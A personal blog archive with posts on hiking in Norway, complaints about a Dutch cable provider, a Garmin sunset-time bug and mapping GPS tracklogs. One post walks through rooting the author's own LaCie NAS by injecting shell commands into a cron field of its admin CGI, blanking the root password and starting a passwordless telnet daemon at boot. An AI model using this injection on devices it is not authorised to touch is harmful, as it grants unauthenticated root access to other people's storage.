Author Archives: Jeroen

Hiking in Norway’s Jotunheimen and Hardangervidda

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Besseggen

If you like hiking you should definitely go to Norway. I’ve been walking in Jotunheimen and the Hardangervidda with Martin in the last week of August 2009. The environment is truly beautiful and pure, though you should be prepared for the Scandinavian weather, even in summer time.

When hiking in Norway (and probably hiking in general), there is some advice that I can give you:

  • Make sure you follow this guide (English and German), provided by the Norwegian Trekking Association (DNT). It includes a nice packing list as well.
  • Good shoes are very important, especially in wet environments with slippery rocks and swamped area’s like the Hardangervidda.
  • Be well prepared for both sunny and bad weather (take suncream and clothes that protect you against cold and rain).
  • Always take a 1:50.000 map of the environment. You can buy those in shops and some of the larger huts in the area. Make sure it is protected against rain as well.
  • A GPS in addition to a map can be useful, especially when it contains Garmin’s topo map of Norway. These topo maps contain most of the trails that are also on the physical map.
  • Be sure to check if the huts you want to spend the night are opened (especially with staffed huts). Some of the huts we’ve been to would be closed at the first of September.

Jotunheimen (“The home of the giants”)

When you are at Jotunheimen you probably want to visit Besseggen, Norway’s most famous walking trail. We walked from Gjendesheim to Memurubu, but most people first take the boat from Gjendesheim to Memurubu and then walk back from Memurubu to Gjendesheim.

Walking the famous Peer-Gynt trail takes about 6 hours excluding time to rest and relax. Memurubu even has its own weather forecast, so be sure to check that out as well. The following images should give you an idea of the trail:

The route from Gjendesheim to Memurubu, including a height and speed profile should give you some more information about the route, that you can download below as well:

Elevation Profile
Download as GPX

Hardangervidda

The Hardangervidda is – compared to the Jotunheimen – flatter when it comes to height differences and has more swamped area’s. The west side of the Hardangervidda has the most height differences and is also the side we explored a little. It can be reached by car from Øvre Eidfjord (checkout the CAR waypoint below). It’s a steep small road going up a few hundred meters (passing a beautiful waterfall that is not considered that special because it is not on the 1:50000 map), ending with two parking places with close to each other with ( – when you are lucky -) some crazy sheep.

We intended to walk to hut Vivelid from our car. When we arrived at hut Vivelid we decided to walk on to hut Hedlo, because the people running hut Vivelid where quite unfriendly (sadly that happens). The people running the private hut Hedlo on the contrary were very friendly, with good food, but are also pretty expensive. The walk is certainly doable in a day, though the route avoiding the waterfall Valursfossen, which we took on our way back, is a little quicker.

Checkout some pictures:

This is the route from the car to Hedlo, passing the beautiful Valursfossen and then via Vivelid to Hedlo.

Elevation Profile
Download as GPX

‘I see Dutch people, they are everywhere’

Something else we learned is that people from the Netherlands seem to like visiting Norway. On the road from Øvre Eidfjord to the Hardangervidda, were we parked our car at the first parking place, there was room for around eight cars, of which six were taken by people from the Netherlands. Yeah, we have that a lot. :)

Get a root shell on a Lacie Network Space device without physically opening the device

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About the NAS

LaCie Network Space I own a 1 TB Lacie Network Space device. This device, also called Network Attached Storage (NAS), enables you to hook it onto your (local) network and access files via file -and print sharing, ftp and other protocols. Very handy, if it works as you expect it to.
The NAS has an ARM926EJ-S processor, a 1TB hard disk, 16MB of memory, an USB port and no fan (which makes it pretty quiet).

Problem

My problem with the NAS is that the kernel running on the device starts killing processes when I copy very large (2 GB+) files to the NAS via file -and print-sharing (using the samba server). This broke my device in such a way that it would become unusable (no admin panel, though still pingable). Therefore I sent the device for RMA to Lacie’s service desk where it was repaired.
At least I thought it was, because after copying those large files again, the device broke again, but this time  I was luckily still able to reboot and keep the device up a little while before it required a new reboot. :|
The system log showed a kernel that was randomly killing processes. I expect this might be caused by the autoscan feature that indexes the media on the device, or maybe the device just doesn’t have enough memory to cope with the continuous transfer of big files. Not funny for a € 160,- device.

Getting root

I decided I didn’t want to submit the device for RMA again and wanted to get root access to the device and repair it (read: make it more stable) myself. However I didn’t want to physically open the device and void the warrant. Luckily you don’t have to, at least not when your device is running firmware 1.1.8, as I found out thanks to a post from user ‘hardel09′ (read here). You should only proceed when you understand what you are doing. If you do anything wrong, it can break your device.

Take the following steps:

  1. Save the content below to a HTML page, as it allows you to send commands that allow you to abuse cron for executing the tasks you want:
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    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Hack the NAS</title>
    </head>
    <body>
    <form name='edit_form' method='post' action='http://YOURDEVICE/cgi-bin/admin/media'>
    <input type='hidden' id='autoscn' name='autoscn' value='true' />
    <input type='hidden' id='modified' name='modified' value='true' />
    <input name='hour' value='12'/><input name='minute' value='50 12 * * * chmod 755 /home/openshare/utelnetd; /home/openshare/utelnetd &'/>
    <input type=submit value='SET CRONTAB'/>
    </form></body>
    </html>
  2. Change the YOURDEVICE in the HTML-file to use the right IP-address or hostname of the NAS
  3. Copy utelnetd to \\YOURDEVICE\openshare\utelnetd
  4. Open the HTML file with your favorite browser and fill the current hour in the hour input field and fill the minute input field with the value below. Change the “HOUR” string to the current hour and change the “MINUTE” string to the next minute plus 2 minutes or so (leaving existing spaces intact), assuming the time on your NAS is correctly set (if not, make it correct by using the admin panel). Now click the SET CRONTAB button and after a few seconds you should end up at the administrator media page with the autoscan checkbox selected.
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    MINUTE HOUR * * * chmod 755 /home/openshare/utelnetd;  /home/openshare/utelnetd &
  5. Now wait a few minutes, start you favorite network scanner tool and check if port 23 on the NAS has yet appeared as open. If this is not the case, try again from step 4.
  6. If so, you can almost log in, if you set a (empty) password for the root user. Get to the HTML page again, change the “MINUTE” and “HOUR” strings again (leaving existing spaces intact) and add a command that makes root’s password empty:
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    MINUTE HOUR * * * passwd -d root
  7. Login with user root via telnet to get your root shell:

    root shell

  8. If you got a shell, congratulations, you did it! Now continue to make it permanent. Disable the cleanConf daemon, so your changes won’t be reversed when the NAS is rebooted:
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    cd /etc/rc.d/rc3.d
    mkdir disabled
    mv S12cleanConf disabled
  9. Fix the hacked crontab by executing the command below and clear the first line in the editor (which will disable autoscan)
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    crontab -e
  10. Copy /home/openshare/utelnetd to /usr/bin and make it executable:
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    cp /home/openshare/utelnetd /usr/bin
    chmod 755 /usr/bin/utelnetd
  11. Add a script in /etc/init.d/telnetd for starting utelnetd automatically. Mine looks like this:
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    #!/bin/sh
    # Begin $rc_base/init.d/telnetd

    . /etc/sysconfig/rc
    . $rc_functions

    case "$1" in
            start)
                    echo "Starting telnetd server..."
                    /usr/bin/utelnetd &
                    ;;

            stop)
                    echo "Stopping telnetd server..."

                    killall utelnetd
                    ;;
            restart)
                    $0 stop
                    sleep 1
                    $0 start
                    ;;

            status)
                    statusproc utelnetd
                    ;;

            *)
                    echo "Usage: $0 {start|stop|restart|status}"
                    exit 1
                    ;;
    esac

    # End $rc_base/init.d/telnetd
  12. Enable the script by making a symbolic link that points to the telnetd script:
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    cd /etc/rc.d/rc3.d
    ln -s ../../init.d/telnetd S18telnetd
    cd /etc/rc.d/rc6.d
    ln -s ../../init.d/telnetd K12telnetd
  13. Make the script executable:
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    chmod +x /etc/init.d/telnetd

That’s it. You can now reboot the device and utelnetd is automatically started after the reboot.

Now we have root

So what can you do with the device now you have root access to it?

  • Secure it. Anyone in your network who can access the device via IP can currently connect to it without a password, so you might consider using openssh instead of telnet as described here. You might want to secure the /www/cgi-bin/admin/media script as well, as it can be easily used to hack into the device.
  • Fix other problems with the software on the NAS that bother you.
  • Mount (multiple) partitions from an external mass-storage device and make it available on the network.
  • Use it as bittorrent client.
  • Run other (light-weighted / self-compiled) applications on it.

I hope this has helped anyone in any way :)

Issues with Dutch cable provider UPC

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UPC unhappy logoUPC is a service provider for Internet, television and telephone in the Netherlands. I don’t like UPC and I’m going to tell you why. If you are not interested you can stop reading now, but I need to get this of my chest.


Why UPC is a bad service provider (in random order)…

  • Since recently, UPC forces non-resolving domain requests to their default(!) DNS servers with a request that resolves to a web page that 302 http redirects you to their own “search” engine. So if you mistype a domain name, your browser redirects you, thereby invading your privacy and providing you with their full-banner “helper”-webpage. This is against the DNS protocol.
    You can solve it by forcing your IP’s to use another set of DNS servers. For me this means I have to manually configure each network device because I cannot make my Thomson router distribute specific DNS host adresses via DHCP :(
    This site tells you more about the solution where you have to manually set your DNS servers.
  • I have a ‘royal subscription’ which means I get nine HD (High Definition) channels for 10 euro/month extra. UPC offers you another feature with this Royal subscription that is called Video On Demand (VOD). The feature is nice because they provide you with a lot of nice content (like series) that are watchable on demand, just like a dvd.
    The problem is that it  often doesn’t work for me, giving me a VOD 103 exception. I’ve contacted support three times now about this issue and they still haven’t manage to locate the problem. Every time I have to convince them my signal is ok (using a special test-channel). The problem is probably caused due to a under capacity at their streaming servers, but people at the support desk simply follow protocol and never find the problem so it never gets fixed.
  • I have a subscription where I have a combined box for telephone, internet (24 MBit) and (HD) television. I don’t want the phone, but I cannot just order only internet and television. I don’t want to pay for this crappy phone line that doesn’t allow me to dial +31(0)87 numbers (voip phone land-lines in the Netherlands). Another irritating issue is that when your broadband cable modem has no connection, people calling your number get a normal “phone is ringing”-tone on their side, and not a “number not reachable”-tone, which doesn’t help finding the problem.
    Besides that UPC tries to sell this product as a normal phone line, but instead it’s a very error-prone telephone line that you should not primarily rely on when you might need to call the alarm-number.
  • My (brand new) black colored ‘Media Box’ that provides me with HD television seems unstable. Sometimes – out of nothing – the screen just turns black, while sounds continues. Remote control activities don’t work any more and the device get’s locked. In this case the device needs a power-cable off and on, which costs me at least 60 seconds before the television get’s back. Not funny when you were watching ‘time shifted’.
    I’ve also seen issues where the device automatically switches to the (of all channels) interactive ‘UPC’ channel, functionally “disabling” the number pad on your remote control so it will take you some time to get back to the non-interactive TV channels, while losing ‘time-shifted’ data as well. The remote control is not the problem (I’m using the Logitech Harmony nowadays), and there are numerous people on forums complaining about issues with the UPC media devices as well.
    I’m silently hoping they push a ‘all-problems-fixing’-firmware update soon.
  • UPC poisons their DNS servers with a blacklist so they can block domains hosting child pornography. The problem with this is that they are not open about it, so they they manipulate your DNS requests without telling you about it. I wrote an article about that case specifically.
  • The Internet connection UPC provides is slow during evening hours and has connection dropouts very often. When I switch my Internet connection to another provider to check if it’s a local network issue, the connection is always back and better.
  • With my subscription, they do not allow me to pay ‘manually’ with so called ‘accept giros’, instead they forced my to use automatic credit payment where they are in complete control. So if they make a mistake, It’s up to me to get the money back. Isn’t this against the law?
  • UPC violates your privacy. When you keep your default password, they get it in clear text on their screen at the help desk. If you play it nice, they’ll tell it to you. This endangers your privacy because it is the password that is also used for the mail account they offer you and provides you access to their service center where you can order new services as well. Don’t use their mail account if you  are concerned about your privacy.
  • Something positive on the contrary is that they offer a very fast internet connection for almost the same price as you were already paying, an action that was just launched recently. The disadvantage of this is that their network gets more load, something that could explain the continuous connection drop-outs I’m continuously experiencing. They don’t seem to be prepared for Internet speed upgrades with their network.
  • When you call UPC on their special 0900-number, they charge a high price, especially when calling from a mobile phone. When you telephone line from UPC is dead, you cannot use their phone, so you are mostly stuck to a mobile phone.
    The high calling rate is not fancy, but I find it quite ok, because it prevents the waiting time due to customers only calling when they really have to. Still, their waiting time on average is too long, in my experience (> 5 minutes average).
    Besides that, when you call them, it takes you at least 2 minutes before you get through their menu, every time. Sigh.
    A refund for callers – if the problem is theirs – would be nice.
  • You cannot quit your contract with UPC whenever you want, you are stuck with them for at least one year. It’s not only UPC that plays this trick on you, there are other providers that do this to you as well.

So why do I still use UPC?

The reason for me still using UPC  is that they are the only provider offering HD television to my home. Besides that my ADSL line doesn’t seem to be capable for high speed Internet access (meaning 8 MBit+ downstream), and I want a reasonable upload speed as well.

If there is another provider for my region available that includes HD television and fast internet access, I’ll switch immediately.

GPSMAP 60 Daylight Saving Time (DST) sunset time bug

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Garmin 60 'Sun and Moon' screen

Garmin 60 'Sun and Moon' screen

I’ve discovered an issue with my Garmin GPS 60 CSx that I currently cannot find described anywhere else. It’s about the ‘Sun and Moon’ screen that shows you the sunrise and sunset information for a certain date and and a certain location on earth, on a day where DST changes the time at night.
The problem seems to be that the DST is not taken into account when the GPS calculates the sunset and sunrise time for that day. The local time that is shown on the GPS device however is displayed correctly, so the DST change by itself seems to be working correctly.

Let me explain by giving an example…
We set the date to Sunday 29-MAR-09 which is the day that Western Europe switches from winter-time to summer-time at Sunday night from 2 AM to 3 AM (01:59:59 to 03:00:00 to be exact). At Saturday 28th, at any time, the sunset for that day is given at 19:04, which is correct. At Sunday 29th the sunset indicated on the GPS at 03:00 should be 20:06, but it’s not.
The next table should give an overview.

Location Date/Time Expected
sunset time		 Actual sunset
according to GPS
Amsterdam Friday 27-MAR-2009 12:00 19:03 19:03
Amsterdam Saturday 28-MAR-2009 12:00 19:04 19:04
Amsterdam Saturday 28-MAR-2009 23:59 19:04 19:04
Amsterdam Sunday 29-MAR-2009 00:00 19:06 19:06
Amsterdam Sunday 29-MAR-2009 01:59 19:06 19:06
Amsterdam Sunday 29-MAR-2009 03:00 20:06 19:06
Amsterdam Sunday 29-MAR-2009 16:00 20:06 19:06
Amsterdam Monday 30-MAR-2009 00:00 20:08 20:08

It seems that the current time is not taken into account when the GPS calculates the sunset and sunrise times, but only the date. This is OK, but not for dates where the time changes.

Report the bug
Does anyone now how tot get a bug like this fixed with Garmin? I don’t want to explicitly contact their support because it is just a minor issue, though I think it would be nice if it would be fixed.

Conclusion
So if you happen to be trusting your GPS to tell you when the sun rises and set’s like I do, beware that the time may be one our off on days where the clock is set back or forward (mostly Sunday), depending on whether you use DST. I’ve seen this issue with the Garmin GPS 60CSx running the currently latest firmware (3.70).

Update 2009-05-24:
I submitted the bug with Garmin and got a response:
Thanks for your email I will be happy to help. This is a bug that we have come across before from another customer. It only seems to appear when the time zone on the unit is set for Amsterdam. If the unit is set to the London time zone the Sunset error doesn’t appear. We will pass your comments onto our software team in the USA as his is something that could be fixed in a future software update but I cant promise you that it will be.

Seems like there is a chance that it will be fixed!

Using multiple GPS tracklogs to create artistic views in Google Earth

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Since June 2005, I’ve been collecting tracklog data using my Garmin GPS 60 (CSx). This means that every time I go cycle racing, walking, sailing, ice skating or even flying, I bring my Garmin, turn it on and (automatically) log the track.

After the track is completed for that activity, I archive it at home, as a GPX file, using Garmin’s MapSource.
I initially bought the GPS for tracklogging and navigational purposes for my bike trip from Arnhem (Netherlands) to Paris, but keeping all tracklogs did give me some other cool opportunity that I didn’t think of back then.
One example of that is gathering statistics about my cycleracing and mountainbiking trips, thereby motivating me to break new records and discover new terrain. Another cool purpose for all my tracklogs, and what this blog is about, is that I can visualize them (all at once) on Google Earth!

With Google Earth and converting tools like GPSBabel at our disposal, it’s possible to create a (big) Google Earth file of all tracklogs combined. When I try to combine, for example, the activities for which I have the most tracklogs available (cycle racing, mountainbiking, walking, cycling on my hybrid bike and sailing), I assign them a color so I can differentiate between different types of activities and create really cool and insightful maps, like this:

Combined tracklog view of the southern Veluwezoom area

In this picture, the red colored line stands for mountainbiking, purple stands for cycling with my hybrid bike, blue is used for cycle racing and green is for walking. If you look carefully, you can also guess where I must live somewhere :-)

This map might look not very organized or useful to other people, but for me, there are many, many stories and new ideas hidden in it.

There are a lot of interesting views possible, seen my pretty large collection of tracklogs. This one for example is from my holiday last September in and around Cassis (south France):

Combined tracklog from holiday in Cassis, France; viewed in Google Earth

The pink line show a sailing trip we’ve taken. The green line shows the walk we took to Calanque d’En-vau and the blue line shows a cycle racing trip over the Route du Crête. If you ever want to visit this area, it’s a good thing idea to take my tracklogs, put them on your GPS and do the activities while you are in the area, so you don’t miss the ‘must-have-done’s’.

This whole thing looks somewhat like everytrail.com, where one can create some sort of “trackblog”, including photo’s that can be linked to the track. But an overview, loadable in Google Earth is not one of the options they offer (yet). But maybe they add it in the future, so, if you start uploading your tracks at everytrail.com now, an easy total view in Google Earth might not be so far away at all :)

Luckily you can create such a combined track yourself as well, however it requires some scripting knowledge. To combine the (GPX) files you can use gpsbabel, remove all but the track-information from the tracklog, for each of the tracklogs from a certain category, and output them to a kml or kmz file, a command that looks like this on unix:

/usr/local/bin/gpsbabel -i gpx -f "Tracklogs Varen/20080611_Drangey_Sauðárkrókur.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080611_Sauðárkrókur_Drangey.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080824_RoelofarendsveenLeiden.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080908_CalanqueDePortMiou.gpx" -x nuketypes,waypoints,routes -o kml,floating=0,labels=1,trackdata=1,line_color=FF00FF00,points=0,line_width=2 -F "combined_varen.kml"

After that I load each kml file in Google Earth separately and assign it a unique color. By moving the track to the same folder in Google Earth, I can combine them to one track, with multiple colors per category. That’s all it takes.

The most actual version of all my tracks in the categories cycleracing, ‘Cycleracing with hybrid bike’, sailing, mountainbiking, walking, ice skating and flying can be found in this automatically updated Kml file.

Some more screenshots that I’ve taken are available here: http://public.hendricksen.eu/GpsArt/

combined tracklog view of 'de Liemers'

I hope I can inspire people to do the same, or at least motivate them to start collecting and archiving their own tracklogs, so at some point, they can create some cool maps just like I did with my tracklogs, and who knows, maybe start comparing those tracks.

Update 2009-12-03:
The latest combined tracks file (automatically updated) with all my cycling, walking, sailing and skating tracklogs are available here.